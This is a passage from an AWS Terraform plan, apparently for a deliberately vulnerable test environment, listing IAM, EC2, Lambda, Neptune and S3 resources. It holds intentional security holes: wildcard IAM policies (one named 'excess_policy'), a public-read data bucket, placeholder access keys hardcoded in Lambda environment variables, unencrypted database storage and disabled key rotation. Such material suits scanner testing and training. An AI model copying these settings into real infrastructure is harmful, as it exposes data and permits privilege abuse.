\"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"pgp_key\": null,\n          \"user\": \"123456789123-acme-corp-user\"\n        },\n        \"after_unknown\": {\n          \"encrypted_secret\": true,\n          \"id\": true,\n          \"key_fingerprint\": true,\n          \"secret\": true,\n          \"ses_smtp_password_v4\": true,\n          \"status\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_iam_instance_profile.ec2profile\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_iam_instance_profile\",\n      \"name\": \"ec2profile\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"name\": \"123456789123-acme-corp-profile\",\n          \"name_prefix\": null,\n          \"path\": \"/\",\n          \"role\": \"123456789123-acme-corp-role\"\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"create_date\": true,\n          \"id\": true,\n          \"unique_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_iam_role.ec2role\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_iam_role\",\n      \"name\": \"ec2role\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"assume_role_policy\": \"{\\n    \\\"Version\\\": \\\"2012-10-17\\\",\\n    \\\"Statement\\\": [\\n        {\\n            \\\"Action\\\": \\\"sts:AssumeRole\\\",\\n            \\\"Principal\\\": {\\n               \\\"Service\\\": \\\"ec2.amazonaws.com\\\"\\n            },\\n            \\\"Effect\\\": \\\"Allow\\\",\\n            \\\"Sid\\\": \\\"\\\"\\n        }\\n    ]\\n}\\n\",\n          \"description\": null,\n          \"force_detach_policies\": false,\n          \"max_session_duration\": 3600,\n          \"name\": \"123456789123-acme-corp-role\",\n          \"name_prefix\": null,\n          \"path\": \"/\",\n          \"permissions_boundary\": null,\n          \"tags\": {\n            \"Environment\": \"123456789123-acme-corp\",\n            \"Name\": \"123456789123-acme-corp-role\"\n          }\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"create_date\": true,\n          \"id\": true,\n          \"tags\": {},\n          \"unique_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_iam_role.iam_for_eks\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_iam_role\",\n      \"name\": \"iam_for_eks\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"assume_role_policy\": \"{\\n  \\\"Version\\\": \\\"2012-10-17\\\",\\n  \\\"Statement\\\": [\\n    {\\n      \\\"Sid\\\": \\\"\\\",\\n      \\\"Effect\\\": \\\"Allow\\\",\\n      \\\"Action\\\": \\\"sts:AssumeRole\\\",\\n      \\\"Principal\\\": {\\n        \\\"Service\\\": \\\"eks.amazonaws.com\\\"\\n      }\\n    }\\n  ]\\n}\",\n          \"description\": null,\n          \"force_detach_policies\": false,\n          \"max_session_duration\": 3600,\n          \"name\": \"123456789123-acme-corp-iam-for-eks\",\n          \"name_prefix\": null,\n          \"path\": \"/\",\n          \"permissions_boundary\": null,\n          \"tags\": null\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"create_date\": true,\n          \"id\": true,\n          \"unique_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_iam_role.iam_for_lambda\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_iam_role\",\n      \"name\": \"iam_for_lambda\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"assume_role_policy\": \"{\\n  \\\"Version\\\": \\\"2012-10-17\\\",\\n  \\\"Statement\\\": [\\n    {\\n      \\\"Action\\\": \\\"sts:AssumeRole\\\",\\n      \\\"Principal\\\": {\\n        \\\"Service\\\": \\\"lambda.amazonaws.com\\\"\\n      },\\n      \\\"Effect\\\": \\\"Allow\\\",\\n      \\\"Sid\\\": \\\"\\\"\\n    }\\n  ]\\n}\\n\",\n          \"description\": null,\n          \"force_detach_policies\": false,\n          \"max_session_duration\": 3600,\n          \"name\": \"123456789123-acme-corp-analysis-lambda\",\n          \"name_prefix\": null,\n          \"path\": \"/\",\n          \"permissions_boundary\": null,\n          \"tags\": null\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"create_date\": true,\n          \"id\": true,\n          \"unique_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_iam_role_policy.ec2policy\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_iam_role_policy\",\n      \"name\": \"ec2policy\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"name\": \"123456789123-acme-corp-policy\",\n          \"name_prefix\": null,\n          \"policy\": \"{\\n  \\\"Version\\\": \\\"2012-10-17\\\",\\n  \\\"Statement\\\": [\\n    {\\n      \\\"Action\\\": [\\n        \\\"s3:*\\\",\\n        \\\"ec2:*\\\",\\n        \\\"rds:*\\\"\\n      ],\\n      \\\"Effect\\\": \\\"Allow\\\",\\n      \\\"Resource\\\": \\\"*\\\"\\n    }\\n  ]\\n}\\n\"\n        },\n        \"after_unknown\": {\n          \"id\": true,\n          \"role\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_iam_role_policy_attachment.policy_attachment-AmazonEKSClusterPolicy\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_iam_role_policy_attachment\",\n      \"name\": \"policy_attachment-AmazonEKSClusterPolicy\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"policy_arn\": \"arn:aws:iam::aws:policy/AmazonEKSClusterPolicy\",\n          \"role\": \"123456789123-acme-corp-iam-for-eks\"\n        },\n        \"after_unknown\": {\n          \"id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_iam_role_policy_attachment.policy_attachment-AmazonEKSServicePolicy\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_iam_role_policy_attachment\",\n      \"name\": \"policy_attachment-AmazonEKSServicePolicy\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"policy_arn\": \"arn:aws:iam::aws:policy/AmazonEKSServicePolicy\",\n          \"role\": \"123456789123-acme-corp-iam-for-eks\"\n        },\n        \"after_unknown\": {\n          \"id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_iam_user.user\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_iam_user\",\n      \"name\": \"user\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"force_destroy\": true,\n          \"name\": \"123456789123-acme-corp-user\",\n          \"path\": \"/\",\n          \"permissions_boundary\": null,\n          \"tags\": {\n            \"Environment\": \"123456789123-acme-corp\",\n            \"Name\": \"123456789123-acme-corp-user\"\n          }\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"id\": true,\n          \"tags\": {},\n          \"unique_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_iam_user_policy.userpolicy\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_iam_user_policy\",\n      \"name\": \"userpolicy\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"name\": \"excess_policy\",\n          \"name_prefix\": null,\n          \"policy\": \"{\\n  \\\"Version\\\": \\\"2012-10-17\\\",\\n  \\\"Statement\\\": [\\n    {\\n      \\\"Action\\\": [\\n        \\\"ec2:*\\\",\\n        \\\"s3:*\\\",\\n        \\\"lambda:*\\\",\\n        \\\"cloudwatch:*\\\"\\n      ],\\n      \\\"Effect\\\": \\\"Allow\\\",\\n      \\\"Resource\\\": \\\"*\\\"\\n    }\\n  ]\\n}\\n\",\n          \"user\": \"123456789123-acme-corp-user\"\n        },\n        \"after_unknown\": {\n          \"id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_instance.db_app\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_instance\",\n      \"name\": \"db_app\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"ami\": \"ami-0f0a6d00932023856\",\n          \"credit_specification\": [],\n          \"disable_api_termination\": null,\n          \"ebs_optimized\": null,\n          \"get_password_data\": false,\n          \"hibernation\": null,\n          \"iam_instance_profile\": \"123456789123-acme-corp-profile\",\n          \"instance_initiated_shutdown_behavior\": null,\n          \"instance_type\": \"t2.nano\",\n          \"monitoring\": null,\n          \"source_dest_check\": true,\n          \"tags\": {\n            \"Name\": \"123456789123-acme-corp-dbapp\"\n          },\n          \"timeouts\": null,\n          \"user_data_base64\": null\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"associate_public_ip_address\": true,\n          \"availability_zone\": true,\n          \"cpu_core_count\": true,\n          \"cpu_threads_per_core\": true,\n          \"credit_specification\": [],\n          \"ebs_block_device\": true,\n          \"ephemeral_block_device\": true,\n          \"host_id\": true,\n          \"id\": true,\n          \"instance_state\": true,\n          \"ipv6_address_count\": true,\n          \"ipv6_addresses\": true,\n          \"key_name\": true,\n          \"metadata_options\": true,\n          \"network_interface\": true,\n          \"outpost_arn\": true,\n          \"password_data\": true,\n          \"placement_group\": true,\n          \"primary_network_interface_id\": true,\n          \"private_dns\": true,\n          \"private_ip\": true,\n          \"public_dns\": true,\n          \"public_ip\": true,\n          \"root_block_device\": true,\n          \"secondary_private_ips\": true,\n          \"security_groups\": true,\n          \"subnet_id\": true,\n          \"tags\": {},\n          \"tenancy\": true,\n          \"user_data\": true,\n          \"volume_tags\": true,\n          \"vpc_security_group_ids\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_instance.web_host\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_instance\",\n      \"name\": \"web_host\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"ami\": \"ami-09a5b0b7edf08843d\",\n          \"credit_specification\": [],\n          \"disable_api_termination\": null,\n          \"ebs_optimized\": null,\n          \"get_password_data\": false,\n          \"hibernation\": null,\n          \"iam_instance_profile\": null,\n          \"instance_initiated_shutdown_behavior\": null,\n          \"instance_type\": \"t2.nano\",\n          \"monitoring\": null,\n          \"source_dest_check\": true,\n          \"tags\": {\n            \"Name\": \"123456789123-acme-corp-ec2\"\n          },\n          \"timeouts\": null,\n          \"user_data\": \"44c6c808e6449ee36dfcfc4ebd66c1b9634b40f2\",\n          \"user_data_base64\": null\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"associate_public_ip_address\": true,\n          \"availability_zone\": true,\n          \"cpu_core_count\": true,\n          \"cpu_threads_per_core\": true,\n          \"credit_specification\": [],\n          \"ebs_block_device\": true,\n          \"ephemeral_block_device\": true,\n          \"host_id\": true,\n          \"id\": true,\n          \"instance_state\": true,\n          \"ipv6_address_count\": true,\n          \"ipv6_addresses\": true,\n          \"key_name\": true,\n          \"metadata_options\": true,\n          \"network_interface\": true,\n          \"outpost_arn\": true,\n          \"password_data\": true,\n          \"placement_group\": true,\n          \"primary_network_interface_id\": true,\n          \"private_dns\": true,\n          \"private_ip\": true,\n          \"public_dns\": true,\n          \"public_ip\": true,\n          \"root_block_device\": true,\n          \"secondary_private_ips\": true,\n          \"security_groups\": true,\n          \"subnet_id\": true,\n          \"tags\": {},\n          \"tenancy\": true,\n          \"volume_tags\": true,\n          \"vpc_security_group_ids\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_internet_gateway.web_igw\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_internet_gateway\",\n      \"name\": \"web_igw\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"tags\": {\n            \"Name\": \"123456789123-acme-corp-igw\"\n          }\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"id\": true,\n          \"owner_id\": true,\n          \"tags\": {},\n          \"vpc_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_kms_alias.logs_key_alias\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_kms_alias\",\n      \"name\": \"logs_key_alias\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"name\": \"alias/123456789123-acme-corp-logs-bucket-key\",\n          \"name_prefix\": null\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"id\": true,\n          \"target_key_arn\": true,\n          \"target_key_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_kms_key.logs_key\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_kms_key\",\n      \"name\": \"logs_key\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"customer_master_key_spec\": \"SYMMETRIC_DEFAULT\",\n          \"deletion_window_in_days\": 7,\n          \"description\": \"123456789123-acme-corp-logs bucket key\",\n          \"enable_key_rotation\": false,\n          \"is_enabled\": true,\n          \"key_usage\": \"ENCRYPT_DECRYPT\",\n          \"tags\": null\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"id\": true,\n          \"key_id\": true,\n          \"policy\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_lambda_function.analysis_lambda\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_lambda_function\",\n      \"name\": \"analysis_lambda\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"dead_letter_config\": [],\n          \"description\": null,\n          \"environment\": [\n            {\n              \"variables\": {\n                \"access_key\": \"AKIAIOSFODNN7EXAMPLE\",\n                \"secret_key\": \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"\n              }\n            }\n          ],\n          \"file_system_config\": [],\n          \"filename\": \"resources/lambda_function_payload.zip\",\n          \"function_name\": \"123456789123-acme-corp-analysis\",\n          \"handler\": \"exports.test\",\n          \"kms_key_arn\": null,\n          \"layers\": null,\n          \"memory_size\": 128,\n          \"publish\": false,\n          \"reserved_concurrent_executions\": -1,\n          \"runtime\": \"nodejs12.x\",\n          \"s3_bucket\": null,\n          \"s3_key\": null,\n          \"s3_object_version\": null,\n          \"source_code_hash\": \"Fne61Y/F2pmVywaVqIYcztFMK3LNeMJKpWFNnxDdGTw=\",\n          \"tags\": null,\n          \"timeout\": 3,\n          \"timeouts\": null,\n          \"vpc_config\": []\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"dead_letter_config\": [],\n          \"environment\": [\n            {\n              \"variables\": {}\n            }\n          ],\n          \"file_system_config\": [],\n          \"id\": true,\n          \"invoke_arn\": true,\n          \"last_modified\": true,\n          \"qualified_arn\": true,\n          \"role\": true,\n          \"source_code_size\": true,\n          \"tracing_config\": true,\n          \"version\": true,\n          \"vpc_config\": []\n        }\n      }\n    },\n    {\n      \"address\": \"aws_neptune_cluster.default\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_neptune_cluster\",\n      \"name\": \"default\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"apply_immediately\": true,\n          \"backup_retention_period\": 5,\n          \"cluster_identifier\": \"neptunedb1\",\n          \"deletion_protection\": null,\n          \"enable_cloudwatch_logs_exports\": null,\n          \"engine\": \"neptune\",\n          \"final_snapshot_identifier\": null,\n          \"iam_database_authentication_enabled\": false,\n          \"iam_roles\": null,\n          \"neptune_cluster_parameter_group_name\": \"default.neptune1\",\n          \"port\": 8182,\n          \"preferred_backup_window\": \"07:00-09:00\",\n          \"replication_source_identifier\": null,\n          \"skip_final_snapshot\": true,\n          \"snapshot_identifier\": null,\n          \"storage_encrypted\": false,\n          \"tags\": null,\n          \"timeouts\": null\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"availability_zones\": true,\n          \"cluster_identifier_prefix\": true,\n          \"cluster_members\": true,\n          \"cluster_resource_id\": true,\n          \"endpoint\": true,\n          \"engine_version\": true,\n          \"hosted_zone_id\": true,\n          \"id\": true,\n          \"kms_key_arn\": true,\n          \"neptune_subnet_group_name\": true,\n          \"preferred_maintenance_window\": true,\n          \"reader_endpoint\": true,\n          \"vpc_security_group_ids\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_neptune_cluster_instance.default[0]\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_neptune_cluster_instance\",\n      \"name\": \"default\",\n      \"index\": 0,\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"apply_immediately\": true,\n          \"auto_minor_version_upgrade\": true,\n          \"engine\": \"neptune\",\n          \"instance_class\": \"db.t3.medium\",\n          \"neptune_parameter_group_name\": \"default.neptune1\",\n          \"port\": 8182,\n          \"promotion_tier\": 0,\n          \"publicly_accessible\": false,\n          \"tags\": null,\n          \"timeouts\": null\n        },\n        \"after_unknown\": {\n          \"address\": true,\n          \"arn\": true,\n          \"availability_zone\": true,\n          \"cluster_identifier\": true,\n          \"dbi_resource_id\": true,\n          \"endpoint\": true,\n          \"engine_version\": true,\n          \"id\": true,\n          \"identifier\": true,\n          \"identifier_prefix\": true,\n          \"kms_key_arn\": true,\n          \"neptune_subnet_group_name\": true,\n          \"preferred_backup_window\": true,\n          \"preferred_maintenance_window\": true,\n          \"storage_encrypted\": true,\n          \"writer\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_neptune_cluster_snapshot.default\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_neptune_cluster_snapshot\",\n      \"name\": \"default\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"db_cluster_snapshot_identifier\": \"resourcetestsnapshot1\",\n          \"timeouts\": null\n        },\n        \"after_unknown\": {\n          \"allocated_storage\": true,\n          \"availability_zones\": true,\n          \"db_cluster_identifier\": true,\n          \"db_cluster_snapshot_arn\": true,\n          \"engine\": true,\n          \"engine_version\": true,\n          \"id\": true,\n          \"kms_key_id\": true,\n          \"license_model\": true,\n          \"port\": true,\n          \"snapshot_type\": true,\n          \"source_db_cluster_snapshot_arn\": true,\n          \"status\": true,\n          \"storage_encrypted\": true,\n          \"vpc_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_network_interface.web-eni\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_network_interface\",\n      \"name\": \"web-eni\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"description\": null,\n          \"private_ips\": [\n            \"172.16.10.100\"\n          ],\n          \"source_dest_check\": true,\n          \"tags\": {\n            \"Name\": \"123456789123-acme-corp-primary_network_interface\"\n          }\n        },\n        \"after_unknown\": {\n          \"attachment\": true,\n          \"id\": true,\n          \"ipv6_address_count\": true,\n          \"ipv6_addresses\": true,\n          \"mac_address\": true,\n          \"outpost_arn\": true,\n          \"private_dns_name\": true,\n          \"private_ip\": true,\n          \"private_ips\": [\n            false\n          ],\n          \"private_ips_count\": true,\n          \"security_groups\": true,\n          \"subnet_id\": true,\n          \"tags\": {}\n        }\n      }\n    },\n    {\n      \"address\": \"aws_route.public_internet_gateway\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_route\",\n      \"name\": \"public_internet_gateway\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"destination_cidr_block\": \"0.0.0.0/0\",\n          \"destination_ipv6_cidr_block\": null,\n          \"timeouts\": {\n            \"create\": \"5m\",\n            \"delete\": null\n          },\n          \"transit_gateway_id\": null,\n          \"vpc_peering_connection_id\": null\n        },\n        \"after_unknown\": {\n          \"destination_prefix_list_id\": true,\n          \"egress_only_gateway_id\": true,\n          \"gateway_id\": true,\n          \"id\": true,\n          \"instance_id\": true,\n          \"instance_owner_id\": true,\n          \"local_gateway_id\": true,\n          \"nat_gateway_id\": true,\n          \"network_interface_id\": true,\n          \"origin\": true,\n          \"route_table_id\": true,\n          \"state\": true,\n          \"timeouts\": {}\n        }\n      }\n    },\n    {\n      \"address\": \"aws_route_table.web_rtb\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_route_table\",\n      \"name\": \"web_rtb\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"tags\": {\n            \"Name\": \"123456789123-acme-corp-rtb\"\n          }\n        },\n        \"after_unknown\": {\n          \"id\": true,\n          \"owner_id\": true,\n          \"propagating_vgws\": true,\n          \"route\": true,\n          \"tags\": {},\n          \"vpc_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_route_table_association.rtbassoc\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_route_table_association\",\n      \"name\": \"rtbassoc\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"gateway_id\": null\n        },\n        \"after_unknown\": {\n          \"id\": true,\n          \"route_table_id\": true,\n          \"subnet_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_route_table_association.rtbassoc2\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_route_table_association\",\n      \"name\": \"rtbassoc2\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"gateway_id\": null\n        },\n        \"after_unknown\": {\n          \"id\": true,\n          \"route_table_id\": true,\n          \"subnet_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_s3_bucket.data\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_s3_bucket\",\n      \"name\": \"data\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"acl\": \"public-read\",\n          \"bucket\": \"123456789123-acme-corp-data\",\n          \"bucket_prefix\": null,\n          \"cors_rule\": [],\n          \"force_destroy\": true,\n          \"grant\": [],\n          \"lifecycle_rule\": [],\n          \"logging\": [],\n          \"object_lock_configuration\": [],\n          \"policy\": null,\n          \"replication_configuration\": [],\n          \"server_side_encryption_configuration\": [],\n          \"tags\": {\n            \"Environment\": \"123456789123-acme-corp\",\n            \"Name\": \"123456789123-acme-corp-data\"\n          },\n          \"website\": []\n        },\n        \"after_unknown\": {\n          \"acceleration_status\": true,\n          \"arn\": true,\n          \"bucket_domain_name\": true,\n          \"bucket_regional_domain_name\": true,\n          \"cors_rule\": [],\n          \"grant\": [],\n          \"hosted_zone_id\": true,\n          \"id\": true,\n          \"lifecycle_rule\": [],\n          \"logging\": [],\n          \"object_lock_configuration\": [],\n          \"region\": true,\n          \"replication_configuration\": [],\n          \"request_payer\": true,\n          \"server_side_encryption_configuration\": [],\n          \"tags\": {},\n          \"versioning\": true,\n          \"website\": [],\n          \"website_domain\": true,\n          \"website_endpoint\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_s3_bucket.data_science\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_s3_bucket\",\n      \"name\": \"data_science\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"acl\": \"private\",\n          \"bucket\": \"123456789123-acme-corp-data-science\",\n          \"bucket_prefix\": null,\n          \"cors_rule\": [],\n          \"force_destroy\": true,\n          \"grant\": [],\n          \"lifecycle_rule\": [],\n          \"logging\": [\n            {\n              \"target_prefix\": \"log/\"\n            }\n          ],\n          \"object_lock_configuration\": [],\n          \"policy\": null,\n          \"replication_configuration\": [],\n          \"server_side_encryption_configuration\": [],\n          \"tags\": null,\n          \"versioning\": [\n            {\n              \"enabled\": true,\n              \"mfa_delete\": false\n            }\n          ],\n          \"website\": []\n        },\n        \"after_unknown\": {\n          \"acceleration_status\": true,\n          \"arn\": true,\n          \"bucket_domain_name\": true,\n          \"bucket_regional_domain_name\": true,\n          \"cors_rule\": [],\n          \"grant\": [],\n          \"hosted_zone_id\": true,\n          \"id\": true,\n          \"lifecycle_rule\": [],\n          \"logging\": [\n            {\n              \"target_bucket\": true\n            }\n          ],\n          \"object_lock_configuration\": [],\n          \"region\": true,\n          \"replication_configuration\": [],\n          \"request_payer\": true,\n          \"server_side_encryption_configuration\": [],\n          \"versioning\": [\n            {}\n          ],\n          \"website\": [],\n          \"website_domain\": true,\n          \"website_endpoint\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_s3_bucket.financials\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_s3_bucket\",\n      \"name\": \"financials\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"acl\": \"private\",\n          \"bucket\": \"123456789123-acme-corp-financials\",\n          \"bucket_prefix\": null,\n          \"cors_rule\": [],\n          \"force_destroy\": true,\n          \"grant\": [],\n          \"lifecycle_rule\": [],\n          \"logging\": [],\n          \"object_lock_configuration\": [],\n          \"policy\": null,\n          \"replication_configuration\": [],\n          \"server_side_encryption_configuration\": [],\n          \"tags\": {\n            \"Environment\": \"123456789123-acme-corp\",\n            \"Name\": \"123456789123-acme-corp-financials\"\n          },\n          \"website\": []\n        },\n        \"after_unknown\": {\n          \"acceleration_status\": true,\n          \"arn\": true,\n          \"bucket_domain_name\": true,\n          \"bucket_regional_domain_name\": true,\n          \"cors_rule\": [],\n          \"grant\": [],\n          \"hosted_zone_id\": true,\n          \"id\": true,\n          \"lifecycle_rule\": [],\n          \"logging\": [],\n          \"object_lock_configuration\": [],\n          \"region\": true,\n          \"replication_configuration\": [],\n          \"request_payer\": true,\n          \"server_side_encryption_configuration\": [],\n          \"tags\": {},\n          \"versioning\": true,\n          \"website\": [],\n          \"website_domain\": true,\n          \"website_endpoint\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_s3_bucket.flowbucket\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_s3_bucket\",\n      \"name\": \"flowbucket\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"acl\": \"private\",\n          \"bucket\": \"123456789123-acme-corp-flowlogs\",\n          \"bucket_prefix\": null,\n          \"cors_rule\": [],\n          \"force_destroy\": true,\n          \"grant\": [],\n          \"lifecycle_rule\": [],\n          \"logging\": [],\n          \"object_lock_configuration\": [],\n          \"policy\": null,\n          \"replication_configuration\": [],\n          \"server_side_encryption_configuration\": [],\n          \"tags\": {\n            \"Environment\": \"123456789123-acme-corp\",\n            \"Name\": \"123456789123-acme-corp-flowlogs\"\n          },\n          \"website\": []\n        },\n        \"after_unknown\": {\n          \"acceleration_status\": true,\n          \"arn\": true,\n          \"bucket_domain_name\": true,\n          \"bucket_regional_domain_name\": true,\n          \"cors_rule\": [],\n          \"grant\": [],\n          \"hosted_zone_id\": true,\n          \"id\": true,\n          \"lifecycle_rule\": [],\n          \"logging\": [],\n          \"object_lock_configuration\": [],\n          \"region\": true,\n          \"replication_configuration\": [],\n          \"request_payer\": true,\n          \"server_side_encryption_configuration\": [],\n          \"tags\": {},\n          \"versioning\": true,\n          \"website\": [],\n          \"website_domain\": true,\n          \"website_endpoint\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_s3_bucket.logs\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_s3_bucket\",\n      \"name\": \"logs\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"acl\": \"log-delivery-write\",\n          \"bucket\": \"123456789123-acme-corp-logs\",\n          \"bucket_prefix\": null,\n          \"cors_rule\": [],\n          \"force_destroy\": true,\n          \"grant\": [],\n          \"lifecycle_rule\": [],\n          \"logging\": [],\n          \"object_lock_configuration\": [],\n          \"policy\": null,\n          \"replication_configuration\": [],\n          \"server_side_encryption_configuration\": [\n            {\n              \"rule\": [\n                {\n                  \"apply_server_side_encryption_by_default\": [\n                    {\n                      \"sse_algorithm\": \"aws:kms\"\n                    }\n                  ]\n                }\n              ]\n            }\n          ],\n          \"tags\": {\n            \"Environment\": \"123456789123-acme-corp\",\n            \"Name\": \"123456789123-acme-corp-logs\"\n          },\n          \"versioning\": [\n            {\n              \"enabled\": true,\n              \"mfa_delete\": false\n            }\n          ],\n          \"website\": []\n        },\n        \"after_unknown\": {\n          \"acceleration_status\": true,\n          \"arn\": true,\n          \"bucket_domain_name\": true,\n          \"bucket_regional_domain_name\": true,\n          \"cors_rule\": [],\n          \"grant\": [],\n          \"hosted_zone_id\": true,\n          \"id\": true,\n          \"lifecycle_rule\": [],\n          \"logging\": [],\n          \"object_lock_configuration\": [],\n          \"region\": true,\n          \"replication_configuration\": [],\n          \"request_payer\": true,\n          \"server_side_encryption_configuration\": [\n            {\n              \"rule\": [\n                {\n                  \"apply_server_side_encryption_by_default\": [\n                    {\n                      \"kms_master_key_id\": true\n                    